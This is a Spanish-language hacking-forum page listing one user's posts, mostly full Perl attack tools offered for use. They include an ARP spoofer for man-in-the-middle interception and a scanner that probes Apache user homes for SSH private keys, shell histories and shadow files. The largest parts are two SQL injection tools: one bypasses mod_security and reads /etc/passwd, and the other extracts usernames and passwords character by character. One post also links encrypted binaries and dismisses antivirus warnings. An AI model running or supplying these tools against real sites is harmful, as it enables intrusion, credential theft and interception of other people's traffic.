elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Hacking / Perl ARP-Spoofer v0.2 en: 3 Febrero 2011, 08:48 am
Simple ARP-Spoofer escrito en Perl, recien salido del horno, espero que les guste / sirva :P

v0.2:

  • IPTables forwarding añadido (gracias averno)
  • Restauración de mac's originales y forwarding
  • Mas info en ejecucion
Screenshot:




Wireshark dump:




Code:

Código:
#!/usr/bin/perl

# Perl ARP-Spoofer By Login-Root
# Long life Camacho Tequila
# 2011 shit
# Run it as root

# Net::ARP & Net::Ping requerido
use Net::ARP;
use Net::Ping;

if ($< != 0)
{
print "\n[!] Run it as root\n\n";
exit(0);
}

if(!$ARGV[2])
{
print "\n###########################################";
print "\n# Perl ARP-Spoofer v0.2 | Login-Root Pwnz #";
          print "\n###########################################";
print "\n\nUse: perl $0 [INTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
          exit(0);
}

sub finaliza
{
print "\n\n[!] Restaurando cache ARP de host's remotos\n";

print "\n[+] $host1 is-at $mac1 (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
print "\n[+] $host2 is-at $mac2 (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');

print "\n\n[!] Deshabilitando forwarding...";

open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error abriendo ip_forward";
print FORWD "0";
close(FORWD);

system("iptables -P FORWARD DROP");

print "\n[!] Saliendo...\n\n";
exit(0);
}

($dev, $host1, $host2) = @ARGV;

print "\n[+] Perl ARP-Spoofer v0.2 starting | Login-Root [+]\n";

$lmac = Net::ARP::get_mac($dev);

print "\n[!] MAC Local : $lmac";

my $ping = Net::Ping->new('icmp');
   $ping->ping($host1, 2);
   $ping->ping($host2, 2);

$mac1 = Net::ARP::arp_lookup($dev,$host1);
$mac2 = Net::ARP::arp_lookup($dev,$host2);

print "\n[!] MAC Host 1: $mac1";
print "\n[!] MAC Host 2: $mac2";

print "\n\n[!] Habilitando forwarding...";

open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error abriendo ip_forward";
print FORWD "1";
close(FORWD);

# (thnx averno)
system("iptables -P FORWARD ACCEPT");

print "\n\n[!] Comenzando ARP-Spoofing entre $host1 & $host2, Ctrl-C para finalizar...\n";

while(1)
{
        $SIG{INT} = \&finaliza;
sleep(1);
print "\n[+] $host1 is-at $lmac (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
print "\n[+] $host2 is-at $lmac (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');

}

__END__
2  Seguridad Informática / Hacking / [!] Apache Files Finder en: 11 Octubre 2010, 01:58 am
Este script básicamente lo que realiza es buscar archivos/carpetas interesantes en las home`s de algun servidor que corra Apache (Y tenga la opción de acceso con ~, es decir, se permita acceder a http://www.website.com/~nombreusuario/). Para ello se necesitan de dos archivos de texto, el primero, con la lista de usuarios a probar (que podremos haber sacado por brute-force, mediante LFI, LOAD_FILE, etc.), y segundo, la lista con directorios a probar en cada uno de los home`s de cada usuario.

Ejemplos:


users.txt

Código:
root
ftp
mysql
bin
daemon
ibsoc
ifsca
aminen
dpisf
idsum
ieduc
ivivi
itcp
sergio
juan
backup
imosp
publish
gbrusa
igobi
iforo
ispyc
amoran
mysqldump
mesaadm
sinrespuesta
amgarcia
mcabrera
boletinoficial
dsum
improd
patricia
mauro
agostina
lucila
hyperic
nagios
clamav


dirs.txt

Código:
index.htm
index.html
index.php
.bash_history
.bashrc
.ftpquota
.gbent
.grc
.gui
.host
.hosts
.jpilot
.master
.members
.mysql_history
.net
.nsconfig
.pass
.passes
.pwd
.ssh/
.ssh/know_hosts
.ssh/id_rsa
.ssh/id_rsa.pub
.ssh/id_rsa.priv
.ssh/id_rsa.key
host
hosts
passwd
shadow


Funcionamiento:




Salida (results.html):



Code:

Código:
#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;

if(!$ARGV[3])
    {
        print "\n\n#####################################";
        print "\n# Apache Files Finder By Login-Root #";
        print "\n#####################################";
        print "\n\nUso: perl $0 [WEBSITE] [USERS LIST] [DIRECTORY LIST] [PATH TO SAVE (HTML)]";
        print "\nEx : perl $0 http://www.website.com users.txt dirs.txt results.html\n\n";
        exit(0);
    }

$ua = LWP::UserAgent->new;
$ua->agent("Google Bot");

($web, $users, $dirs, $save) = @ARGV;

if ( $web   !~   /^http:/ )
  {
      $web = "http://" . $web;
  }

open USERS, $users;
open SAVE, ">>$save";

print "\n[!] Scanning $web for files in users, saving in $save\n\n";

foreach $lista(<USERS>)
{
    chomp($lista);
    open DIRS, $dirs;
    foreach $dir(<DIRS>)
    {
        chomp($dir);
        $host = $web.`/~`.$lista.`/`.$dir;
        $req = HTTP::Request->new(GET => "$host");
        $res = $ua->request($req);
        $result = $res->code;
        if ($result != 404 and $result != 403)
        {
            print "\n".$res->status_line.": $host";
            print SAVE $res->status_line.` : <a href="`.$host.`" TARGET="_new">`.$host.`</a><br>`;
        }
    }
    close(DIRS);
}

print "\n";
close(USERS,SAVE);

__END__
3  Seguridad Informática / Nivel Web / SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass] en: 6 Abril 2010, 09:11 am
Nuevo:

  • Agregado mod_security Bypass.
  • Agregado Illegal Mix Of Collations Bypass.
  • Agregadas más tablas para bruteforce.
  • Agregadas más columnas para bruteforce.
  • Código interno mejorado.
  • Bugs Fixeados.
Sitio con mod_security activado:




SQL-PwnZ: Bypasseando





Salida:






Sitio con Illegal Mix Of Collations:




SQL-PwnZ: Bypasseando




Salida:






Código:


Código:
#!/usr/bin/perl

##################################################################################################################
#                                  -[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-                                   ###
##################################################################################################################

##################################################################################################################
# [+] inf0:                                                                                                    ###
##################################################################################################################
# Busca:                                                                                                       ###
# ======                                                                                                       ###
#  - Nº de columnas                                                                                            ###
#  - Information_Schema && MySQL.User                                                                          ###
#  - LOAD_FILE                                                                                                 ###
#  - Tablas                                                                                                    ###
#  - Columnas                                                                                                  ###
#  - Illegal Mix Of Collations Bypass && mod_security Bypass                                                   ###
#                                                                                                              ###
#  ...y guarda todo en un archivo de texto.                                                                    ###
#                                                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] Use:                                                                                                     ###
##################################################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS] ###
#   [WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]                                      ###
#   [COLUMNAS]: Limite de columnas                                                                             ###
#   [ARCHIVO]: Archivo donde guardar web vulnerable                                                            ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                                                    ###
#   [-TB]: Intentar brutear tablas (Opcional)                                                                  ###
#   [-CL]: Intentar brutear columnas (Opcional)                                                                ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                                         ###
#   [-MOD_FUCK]: Activar mod_security Bypass (Opcional)                                                        ###
#   [-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)                                         ###
##################################################################################################################

##################################################################################################################
# [+] c0ntact:                                                                                                 ###
##################################################################################################################
# MSN:    no.more@passport.com                                                                                 ###
# E-Mail: login_root@yahoo.com.ar                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] sh0utz:                                                                                                  ###
##################################################################################################################
# Greetz: KiKo ; VanHan ; [Dead] Knet ; Ricota ; InyeXion ; OxOnO ; Matt ; r0dr1 ; oceanik6 ; OzX ; yoyahack   ###
# VISIT: WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                                                         ###
##################################################################################################################

use HTTP::Request;
use LWP::UserAgent;

if(!$ARGV[2])
{
print "\n\n-[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-\n=========================================";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]\n[COLUMNAS]: Limite de columnas\n[ARCHIVO]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-TB]: Intentar brutear tablas (Opcional)\n[-CL]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n[-MOD_FUCK]: Activar mod_security Bypass (Opcional)\n[-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)\n\n";
exit (0);
}

@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','web_users',
  'name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','web_usuarios',
  'miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores',
  'administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user',
  'user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name',
  'member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre',
  'user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth',
  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio',
  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head',
  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users',
  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente',
  'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes',
  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','web_users','curso',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users','tb_usuarios',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','tb_usuario',
  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha',
          'username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario',
          'login_id','usr','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username',
          'sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave',
  'membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

($host, $columnas, $savelist) = @ARGV;

$agent = LWP::UserAgent->new;
$agent->agent("Google Bot");

if ( $host   !~   /^http:/ )
  {
      $host = "http://" . $host;
  }

for ($numarg = 0 ;  $numarg <= $#ARGV ; $numarg++)
{
$argumentos.= $ARGV[$numarg];
}

if ($argumentos =~ /-MIX_BYPASS/i)
{
print "\n[+] MIX_BYPASS ACTIVADO";
$hexin = "unhex(hex(";
$hexend = "))";
}
if ($argumentos !~ /-MOD_FUCK/i)
{
if ($argumentos =~ /--/)
{
$cmn= "+";
$cfin="--";
print "\n[+] Comentarios a utilizar: '--' & '+'";
}
else
{
$cmn= "/**/";
$cfin= "/*";
print "\n[+] Comentarios a utilizar: '/*' & '/**/'";
}
}
else
{
print "\n[+] MOD_FUCK ACTIVADO, se ignoran comentarios. Utilizando: '+'. Bypass: '/*!' & '*/'";
$bypass = "+/*!";
$cmn= "+";
$cfin= "*/";
}

open(WEB,">>".$savelist) || die "\n\n[-] Imposible crear el archivo de texto\n";
if ($argumentos =~ /-NOCHECK/i)
  {
      print "\n[!] Se omite el chequeo inicial...\n";
      print WEB "[WEBSITE]:\n\n$host\n";
  }
else
  {
      print "\n[!] Chequeando si la web es vulnerable...\n";
      $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cfin));
      $response = $sql->content();
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/ || $response =~ /error de sintaxis al final de la entrada/ || $response =~ /Unknown column/)
        {
            print "[+] Web vulnerable, continua el script...\n";
            print WEB "[WEBSITE]:\n\n$host\n";
        }
        else
          {
            print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario o con -NOCHECK activado\n\n";
    close(WEB);
            exit(0);
          }
  }
print "\n[!] Buscando columnas...\n";
for ($column = 1 ; $column <= $columnas ; $column ++)
{
$UNION.=','.$column;
$inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 1)
      {
          print WEB "\n[COLUMNAS]:\n\n";
          $inyection = '';
          $UNION = '';
      }
    $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin));
    $response = $sql->content();
    if($response =~ /loginpwnz/)
      {
         print "[+] La web posee $column columnas\n\n";
         $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cfin;
         print "$sql\n";
         print WEB "$sql\n";
         print "\n[!] Chequeando si existe Information_Schema...";
         $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn."information_schema.tables".$cfin));
         $response = $sql->content();
         if($response =~ /loginpwnz/)
          {
          print "\n[+] Information_Schema disponible...guardando en $savelist";
            $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn."information_schema.tables".$cfin;
            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] Information_Schema no disponible";
          }
         print "\n[!] Chequeando si existe MySQL.User...";
         $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn."mysql.user".$cfin));
         $response = $sql->content();
         if($response =~ /loginpwnz/)
          {
          print "\n[+] MySQL.User disponible...guardando en $savelist";
          $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn."mysql.user".$cfin;
            print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] MySQL.User no disponible";
          }
while ($loadcont < $column-1)
   {
$loadfile.=','.$hexin.'LOAD_FILE(0x2f6574632f706173737764)'.$hexend;
$loadcont++;
   }
print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn.$hexin."LOAD_FILE(0x2f6574632f706173737764)".$hexend.$loadfile.$cfin));
    $response = $sql->content();
    if($response =~ /root:x:/)
          {
          print "\n[+] LOAD_FILE disponible...guardando en $savelist";
          print WEB "\n\n[LOAD_FILE]:\n\n$hexinLOAD_FILE(0x2f6574632f706173737764)$hexend => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
          }
         else
          {
            print "\n[-] LOAD_FILE no disponible";
          }
if ($argumentos =~ /-TB/i)
          {
              print "\n\n[!] Bruteando tablas...";
              print WEB "\n\n[TABLAS]:\n\n";
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn.$tabla.$cfin));
                  $response = $sql->content();
                  if($response =~ /loginpwnz/)
                    {
                        print "\n[+] La tabla $tabla esta disponible...guardando en $savelist";
                        $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn.$tabla.$cfin;
                        print WEB "$sql\n";
                    }
                }
            }
        if ($argumentos =~ /-CL/i)
          {
          print "\n\n[!] Tabla a la cual brutear columnas: ";
            $tabla=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNAS EN $tabla]:\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn.$hexin."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$hexend.$inyection.$cmn."FROM".$cmn.$tabla.$cfin));
             $response = $sql->content();
             if ($response =~ /loginpwnz/)
                  {
                      print "\n[+] La columna $columna esta disponible...guardando en $savelist";
                      print WEB "$hexin$columna$hexend\n";
                  }
            }
        }
        print WEB "\n\n\n[*EOF*]";
        print "\n\n[+] Todo salvado correctamente en $savelist\n\n";
        print "## c0ded by Login-Root | 2010 ##\n\n";
close(WEB);
        exit (0);
      }
}
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
print "## c0ded by Login-Root | 2010 ##\n\n";
close(WEB);
exit (0);


Sitio:

http://sourceforge.net/projects/sqlpwnz/
4  Seguridad Informática / Hacking / Shell-Run | IPFilter - By VanHan en: 11 Febrero 2010, 03:14 am
Aca les dejo dos programitas que hizo un amigo mio, VanHan, cuando fui a la casa y le pedi que me los programara (si, soy un vago terrible :P)

Shell-Run:

Un simple launcher, lo uso para cuando estoy en Windows y quiero ejecutar codes (python, perl, etc), rapidamente. Ponen el comando (python, perl, el que quieran), el lugar del archivo, abajo los argumentos y listo.






Si quieren lo pueden minimizar a la tray y dejarlo corriendo en segundo plano:




Download (Multiple mirrors):

http://massmirror.com/16b7214f1832d3682193b0b86d3a45db.html


:-------------------------------------------------------------:

IPFilter:

Este es mas completito, sirve para filtrar los numeros, fechas, puntos, etc de los siguientes servidores de Reverse IP:



Vamos por ejemplo, a usar la primera, http://www.ip-adress.com/reverse_ip

Ponemos la IP o el dominio y damos a Enter. Copiamos todos los dominios de esa respectiva IP.



Los pegamos en el programa (Fijense que este bien seleccionado www.ip-adress.com) y le damos a filtrar.



Listo! Filtrados. :D



Dando click a Guardar guarda el texto filtrado en el archivo "Ips.txt".

Download (Multiple mirrors):

http://massmirror.com/675283888b9ba458430631f4564a5fe3.html

Ah, me olvidaba...antes que me digan: LOGIN-ROOT ESTO ESTA TROYANIZADO !, les digo que NO, solo estan cifrados, por eso les salta el AV. Ejecutenlo en una PC Virtual, sniffen las conexiones con Wireshark, hagan lo que quieran. Los codes estan 100% limpios.


Saludos.
5  Programación / Scripting / The Blind Fox v0.5 | By Login-Root en: 4 Octubre 2008, 22:38 pm
Es semejante a la SQL-PwnZ pero para Inyecciones a ciegas (Blind SQL Inyection). Esta en etapa hiperbeta asi que no se asombren si les sale algunos errores inexplicables xD.

blindfox.pl
Código:
#!/usr/bin/perl

###########################################################################################
#                           -[+]- The Blind Fox v0.5 | By Login-Root -[+]-              ###
###########################################################################################

###########################################################################################
# [+] inf0:                                                                             ###
###########################################################################################
# Busca:                                                                                ###
# ======                                                                                ###
#  - Checkeo AND 1=1 && AND 1=0                                                         ###       
#  - Information_Schema && MySQL.User                                                   ###
#  - Tablas                                                                             ###                                               
#  - Columnas                                                                           ###
#  - Extrae valores de las tablas (Opcional)                                            ###
#                                                                                       ###
#  ...y guarda todo en un archivo de texto.                                             ###
#                                                                                       ###
###########################################################################################

###########################################################################################
# [+] Use:                                                                              ###
###########################################################################################
# perl blindfox.pl [WEBSITE] [PATRON] [FILE] [-EXT]                                     ###
#   [WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido)            ###
#   [PATRON]:  Patron que exista con AND 1=1 y que no exista con AND 1=0                ###
#   [FILE]:    Archivo donde guardar informe                                            ###
#   [-EXT]:    Para extraer nombres de usuarios, passwords, etc (Opcional)              ###
###########################################################################################

###########################################################################################
# [+] c0ntact:                                                                          ###
###########################################################################################
# MSN:    no.more@passport.com                                                          ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
###########################################################################################

###########################################################################################
# [+] sh0utz:                                                                           ###
###########################################################################################
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion                 ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                    ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
print "\n\n-[+]- The Blind Fox v0.5 | By Login-Root -[+]-\n==============================================";
print "\n\nUso: perl $0 [WEBSITE] [PATRON] [FILE] [-EXT]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido)\n[PATRON]:  Patron que exista con AND 1=1 y que no exista con AND 1=0\n[FILE]:    Archivo donde guardar informe\n[-EXT]:    Para extraer nombres de usuarios, passwords, etc (Opcional)\n\n";
exit (0);
}

sub end()
{
print WEB "\n\n\n[*EOF*]";
    print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n";
    print "## c0ded by Login-Root | 2008 ##\n\n";
    exit (0); 
}   


@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  'name','names','nombre','nombres','member','members','admin_table',
  'miembro','miembros','membername','admins','administrator','sign',
  'administrators','passwd','password','passwords','pass','Pass',
  'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
  'member_password','mods','mod','moderators','moderator','user_email',
  'user_emails','user_mail','user_mails','mail','emails','email','address',
  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin',
  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

if ( $ARGV[0]   !~   /^http:/ )
  {
      $ARGV[0] = "http://" . $ARGV[0];
  }

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
print "\n[!] Chequeando por el patron...\n";
      $sql=$ARGV[0]." AND 1=1";
      $response=get($sql);
      if($response =~ /$ARGV[1]/)
        {
            print "\n[+] Patron encontrado con AND 1=1\n";
            print WEB "$sql => OK !\n";
            $sql=$ARGV[0]." AND 1=0";
            $response=get($sql);
            if($response =~ /$ARGV[1]/)
            {
            print "[-] Patron encontrado tambien con AND 1=0, posiblemente no vulnerable a Blind SQL Inyection, probar con otro patron\n";
            exit (0);
            }
            else
            {
            print "[+] Patron no encontrado con AND 1=0, website vulnerable a Blind SQL Inyection\n";
            print WEB "$sql => OK !\n";
            }
         }
         else
          {
          print "[-] Patron no encontrado, probar con otro\n";
          exit (0);
          }
        print "\n[!] Chequeando si existe Information_Schema...";
        $sql=$ARGV[0]." AND (SELECT Count(*) FROM information_schema.tables)";
        $response=get($sql);
         if($response =~ /$ARGV[1]/)
          {
          print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
                print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] Information_Schema no disponible";
          }
        print "\n[!] Chequeando si existe MySQL.User...";
        $sql=$ARGV[0]." AND (SELECT Count(*) FROM mysql.user)";
        $response=get($sql);
         if($response =~ /$ARGV[1]/)
          {
          print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";
                print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] MySQL.User no disponible";
          }
        print "\n\n[!] Bruteando tablas...";
        print WEB "\n\n[TABLAS]:\n\n";
        foreach $tabla(@nombretabla)
         {
                  chomp($tabla);
                  $sql=$ARGV[0]." AND (SELECT Count(*) FROM ".$tabla.")";
                  $response=get($sql);
                  if($response =~ /$ARGV[1]/)
                    {
                        print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
                        print WEB "$sql\n";
                    }
                }
        print "\n\n[!] Tabla a la cual brutear columnas: ";
            $tabla.=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNAS EN $tabla]:\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql=$ARGV[0]." AND (SELECT Count(".$columna.") FROM ".$tabla.")";
             $response=get($sql);
             if ($response =~ /$ARGV[1]/)
                  {
                      print "[+] La columna $columna esta disponible...guardando en $ARGV[2]\n";
                      print WEB "$sql\n";
                  }
            }
         if ($ARGV[3] =~ /-EXT/)
         {
          extrac:
          $columna = '';
          print "\n[!] Columna de la tabla $tabla a la cual extraer campos: ";
          $columna.=<STDIN>;
            chomp($columna);
          print "[!] Extrayendo valores de la tabla $tabla y columna $columna (puede demorar mucho tiempo)...\n\n";
          print WEB "\n\n[Valores de la tabla $tabla y columna $columna]:\n\n";
          $search = 1;
          $posicion = 1;
          $limit = 0;
          $comprob = 1;
          while ($search <= 255)
          {
          $sql=$ARGV[0]." AND ascii(substring((SELECT " .$columna. " FROM " .$tabla." limit " .$limit.",1),".$posicion.",1)) = " .$search;
          $response=get($sql);
          if ($response =~ /$ARGV[1]/)
                  {
                    $char = chr($search);
                    print WEB "$char";
                    print "$char";
                      $search = 0;
                      $posicion++;
                      $comprob++;
                  }
                 if ($search == 255)
                 {
                  print "\n";
                  print WEB "\n";
                  if ($comprob == 1)
                  {
                  $eleccion = '';
                  print "[+] Busqueda finalizada. Desea extraer valores de otra columna? [Y/N]: ";
                  $eleccion.=<STDIN>;
                  chomp($eleccion);
                  if ($eleccion =~ /Y/)
                  {
                  goto extrac;
                  }
                  else
                  {
                     end();
                  }
                  }
                  $comprob = 1;
                  $search = 0;
                    $limit++;
                 }
          $search++;
            }
           }
end();

Ejemplo de uso:



Texto de salida:



Dos cosas importantes a tener en cuenta, primero la web se debe ingresar con un numero valido (Por ejemplo http://www.web.com/index.php?id=4875) no dejen vacio el campo id (o el que fuera) porque sino no va a funcionar.
Otro punto importante, el patron es aquel texto que es visible (que existe) cuando ingresamos a la web de la siguiente manera =>
http://www.web.com/index.php?id=4875 AND 1=1 y que NO es visible (no existe) cuando ingresamos con un AND falso =>
http://www.web.com/index.php?id=4875 AND 1=0

Espero que entiendan, cualquier cosa, comentan.


ACTUALIZACIÓN v0.5:

  • Ahora se puede extraer valores de las tablas (usuarios, passwords, mails, etc.)
6  Programación / Scripting / [+] SQL-PwnZ v1.1 | By Login-Root en: 17 Julio 2008, 23:40 pm
Que les guste y que les sirva   ;D

Código:
#!/usr/bin/perl

###########################################################################################
#                           -[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-                   ###
###########################################################################################

###########################################################################################
# [+] inf0:                                                                             ###
###########################################################################################
# Busca:                                                                                ###
# ======                                                                                ###
#  - Nº de columnas                                                                     ###       
#  - Information_Schema && MySQL.User                                                   ###
#  - LOAD_FILE                                                                          ###
#  - Tablas                                                                             ###                                               
#  - Columnas                                                                           ###
#                                                                                       ###
#  ...y guarda todo en un archivo de texto.                                             ###
#                                                                                       ###
###########################################################################################

###########################################################################################
# [+] Use:                                                                              ###
###########################################################################################
